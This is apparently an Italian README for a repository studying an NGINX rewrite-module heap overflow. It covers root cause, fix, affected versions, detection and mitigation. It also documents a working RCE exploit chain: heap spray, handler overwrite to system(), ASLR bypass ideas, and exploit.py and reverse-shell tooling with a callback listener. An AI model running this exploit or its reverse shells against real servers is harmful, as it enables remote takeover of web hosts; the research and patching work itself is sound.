location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Requisiti chiave:**
- Una direttiva `rewrite` la cui sostituzione contiene `?` (separatore di query-string)
- Una successiva direttiva `set`, `if` o `rewrite` che fa riferimento a una **cattura PCRE senza nome** (`$1`, `$2`, ecc.)
- Il `?` nella sostituzione della `rewrite` attiva `ngx_http_script_start_args_code` che imposta `e->is_args = 1`

### Cosa può ottenere un attaccante

| Capacità | Descrizione |
|-----------|-------------|
| **Denial of Service** | Crash deterministico dei processi worker, causando cicli di respawn (funziona indipendentemente dall'ASLR) |
| **Remote Code Execution** | Con ASLR disabilitato (o bypassato tramite sovrascrittura parziale), raggiungere RCE completa come utente nginx |
| **Esfiltrazione di dati** | Attraverso primitive di lettura della memoria, estrarre dati sensibili dall'heap dei worker |
| **Persistenza** | Installare backdoor tramite l'esecuzione di codice nella memoria dei processi worker |

---

## 2. Analisi della causa principale

### Il motore di script a due passaggi

Il modulo `ngx_http_rewrite_module` di NGINX utilizza un **motore di script a due passaggi** in `src/http/ngx_http_script.c`:

1. **Passaggio di lunghezza** (`ngx_http_script_run`): itera su tutti i codici di script per calcolare la dimensione totale del buffer necessaria. Scrive le lunghezze in `le.ip` e `le.pos`.
2. **Passaggio di copia** (`ngx_http_script_copy_len`/`_code`): itera nuovamente, scrivendo i byte effettivi nel buffer pre-allocato in `e->ip` e `e->pos`.

Ogni codice di script ha due handler: uno per ciascun passaggio. Per esempio:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Il flag `is_args`

Il flag `e->is_args` sulla **struttura del motore** (`ngx_http_script_engine_t`) controlla come il passaggio di copia gestisce determinati caratteri:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Durante la **valutazione della riscrittura**, il motore incontra `?` nella stringa di sostituzione, che attiva `ngx_http_script_start_args_code`, impostando `e->is_args = 1`.
2. La riscrittura modifica l'URI della richiesta e poi continua alla direttiva successiva.
3. **`e->is_args` NON VIENE MAI AZZERATO**.

Quindi:```
set $original_endpoint $1;

Il rapporto di espansione è `7 + (n_escapable * 2)` dove `n_escapable` è il conteggio di `+`, `%` e `&` nella cattura.

---

## 3. Meccaniche di sfruttamento

### Panoramica

| Step | Tecnica | Descrizione |
|------|---------|-------------|
| 1 | Overflow | Invia URI modificato con padding `+` per far overfloware il buffer heap |
| 2 | Heap Spray | POST di corpi grandi a `/spray` per riempire l'heap con dati controllati |
| 3 | Feng Shui | Disporre le allocazioni in modo che il bersaglio dell'overflow (`ngx_pool_cleanup_t`) sia adiacente |
| 4 | Corrompi handler | L'overflow sovrascrive `ngx_pool_cleanup_t.handler` con l'indirizzo di `system()` |
| 5 | Attiva cleanup | Attendi la distruzione del pool → `system(cmd)` esegue il comando dell'attaccante |
| 6 | Reverse shell | Collega a un payload di reverse shell per accesso interattivo |

### Feng Shui tra richieste

**Il Feng Shui a singola richiesta fallisce** perché l'overflow corrompe i metadati del pool (`->d.next`, `->d.failed`) prima di raggiungere il puntatore `cleanup`. Quando il pool viene distrutto alla fine della richiesta, i metadati corrotti causano un **crash prima che `system()` venga chiamato**.

Invece, l'exploit usa il **Feng Shui tra richieste**:
1. **Richiesta 1 (spray)**: POST di un corpo grande a `/spray`. Il backend (`server.py`) mantiene la risposta con l'header `X-Delay`, tenendo aperta la connessione e preservando l'allocazione heap. Lo spray riempie l'heap con blocchi fittizi `ngx_pool_cleanup_t`.
2. **Richiesta 2 (overflow)**: Invia l'URI di overflow. L'overflow corrompe solo il puntatore `cleanup` (non i metadati del pool), puntandolo al blocco fittizio creato dallo spray.
3. **Distruzione del pool**: Quando la risposta dello spray termina (il ritardo scade), la catena di cleanup del pool raggiunge il blocco fittizio e chiama `system(cmd)`.

### Requisiti di indirizzo

| Simbolo | Valore (Docker, ASLR disattivato) | Descrizione |
|---------|-----------------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base dell'heap di nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntatore al pool dei cicli |
| Indirizzo cleanup fittizio | `0x5555556a4030` | Indirizzo bersaglio dello spray |

### Bypass di ASLR

Senza disabilitare ASLR, il **DoS** (crash) funziona comunque deterministicamente. Per RCE con ASLR abilitato, due approcci:

1. **Overwrite parziale**: Usa un overwrite di 1 o 2 byte per spostare un puntatore all'interno della stessa pagina, provando brute-force sui nibble rimanenti (16–256 tentativi).
2. **Fuga di informazioni**: Leggi `/proc/self/maps` o usa l'analisi della memoria di `log_parser.py` per determinare il layout.

---

## 4. Analisi della correzione

### La correzione ufficiale

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**File**: `src/http/ngx_http_script.c`  
**Riga**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Patch di Backport

| Patch | Versioni Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versioni interessate

### NGINX Open Source

| Intervallo | Stato |
|-------|--------|
| **0.1.0 – 0.6.26** | Non interessato (il modulo rewrite precede le catture senza nome) |
| **0.6.27 – 1.30.0** | **Vulnerabile** (finestra di 18 anni) |
| **1.30.1** | Prima versione corretta |
| **1.31.0+** | Corretta (mainline) |

### NGINX Plus

| Release | Interessata | Corretta |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Ecosistema NGINX

| Prodotto | Interessato | Stato |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Advisory in sospeso |
| F5 NGINX WAF | 5.9.0–5.12.1 | Advisory in sospeso |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Advisory in sospeso |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Advisory in sospeso |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Advisory in sospeso |
| NGINX Agent | 2.0.0–2.35.0 | Advisory in sospeso |

---

## 6. Rilevamento

### Controllo versione```bash
bash detection/detect_vuln.sh

### Scansione dei container```bash
python3 detection/container_scan.py

---

## 7. Mitigazione

### Immediata (Nessuna Modifica al Codice)

Sostituisci le **catture senza nome** con **catture con nome** in tutte le direttive `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Applica queste misure di hardening:
- Verifica ASLR e abilitazione forzata
- Isolamento dei processi worker
- Restrizione dei core dump
- Hardening SSL/TLS
- Rate limiting
- Header CSP

### Verifica ASLR```bash
bash detection/check_aslr.sh

---

## 9. Avvio rapido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

L'ambiente Docker:
- Compila NGINX dal sorgente al commit `98fc3bb78` (ultimo commit vulnerabile prima della correzione)
- Include GDB, valgrind, `util-linux` (per `setarch -R` per disabilitare ASLR)
- Espone le porte **19321** (nginx vulnerabile), **19322** (secondaria), **19323** (backend Python)
- L'entrypoint usa `setarch x86_64 -R` per disabilitare ASLR per un layout di indirizzi dell'exploit deterministico
- Concede la capability `SYS_PTRACE` e `seccomp=unconfined` per il debug

### Solo Vulnerabile```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

## 11. Innescare l'overflow

### Crash di base (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

I caratteri `+` nella cattura `$1` vengono espansi di 3× durante il passaggio di copia mentre il buffer era dimensionato per la lunghezza grezza, causando un overflow dell'heap.

### Output previsto```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Calcola il numero minimo di segni `+` necessari per causare l'overflow di un numero target di byte (utile quando si sfruttano specifiche strutture heap).

### Espansione dei caratteri```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Uso base```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Opzioni avanzate

| Flag | Default | Descrizione |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host di destinazione |
| `--port` | `19321` | Porta di destinazione |
| `--cmd` | — | Comando da eseguire (richiesto a meno che non si usi `--shell`) |
| `--shell` | — | Usa la modalità shell interattiva |
| `--tries` | `3` | Numero di tentativi di exploit |
| `--delay` | `2.0` | Ritardo tra spray e overflow (secondi) |
| `--payload` | — | Percorso del file payload personalizzato |
| `--debug` | — | Abilita output di debug dettagliato |

### Analisi del layout dell'heap```bash
python3 exploit/heap_layout.py

Trova indirizzi heap i cui byte non includono caratteri escapabili (`+`, `%`, `&`, `?`, ecc.) per l'uso nella costruzione di payload di exploit.

---

## 13. Verifica della Reverse Shell

### Architettura```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Verifica Automatica```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

---

## 14. Applicazione della patch

### Applicare la correzione```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Applica Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

---

## 15. Test

### Test unitari```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Esecuzioni:
1. Test unitari (pytest o unittest)
2. Test di trigger/overflow (se il server è in esecuzione)
3. Scanner di configurazione su configurazioni vulnerabili e sicure
4. Validazione patch in dry-run

### Matrice di regressione```bash
bash tools/regression_matrix.sh

Testa tutti i pattern di configurazione (basic, advanced, ingress, gateway) con trigger di overflow.

---

## 16. Fuzzing

### libFuzzer Harness

Il fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula il motore di script a due passate:
1. Analizza l'input come una sequenza di codici script
2. Esegue la passata di lunghezza
3. Esegue la passata di copia con `e->is_args = 1`
4. Rileva overflow del buffer tramite ASAN o mismatch di dimensione```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Lancia AFL++ con ASAN, timeout configurabile e limiti di memoria contro l'harness di fuzzing.

### Corpus di seed

La directory `fuzz/corpus/` contiene input seed che riproducono il pattern vulnerabile, tra cui:
- Trigger di overflow di base
- Cattura nominata (non dovrebbe causare overflow)
- Casi limite (cattura vuota, dimensione massima, ecc.)

---

## 17. Pipeline CI

### GitHub Actions

Il progetto utilizza un **singolo workflow CI di GitHub Actions** (`.github/workflows/ci.yml`) con questi job:

| Job | Cosa fa |
|-----|-------------|
| `lint` | ShellCheck, validazione della sintassi Python |
| `scan-configs` | Esegue config_scanner.py su tutti i campioni di configurazione |
| `fuzz-build` | Compila l'harness libFuzzer |
| `test` | Esegue la suite pytest/unittest |
| `detect-patch` | Verifica il formato della patch e il contenuto del fix |
| `verify-project` | Esegue `tools/verify_project.sh` |

### Pipeline completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker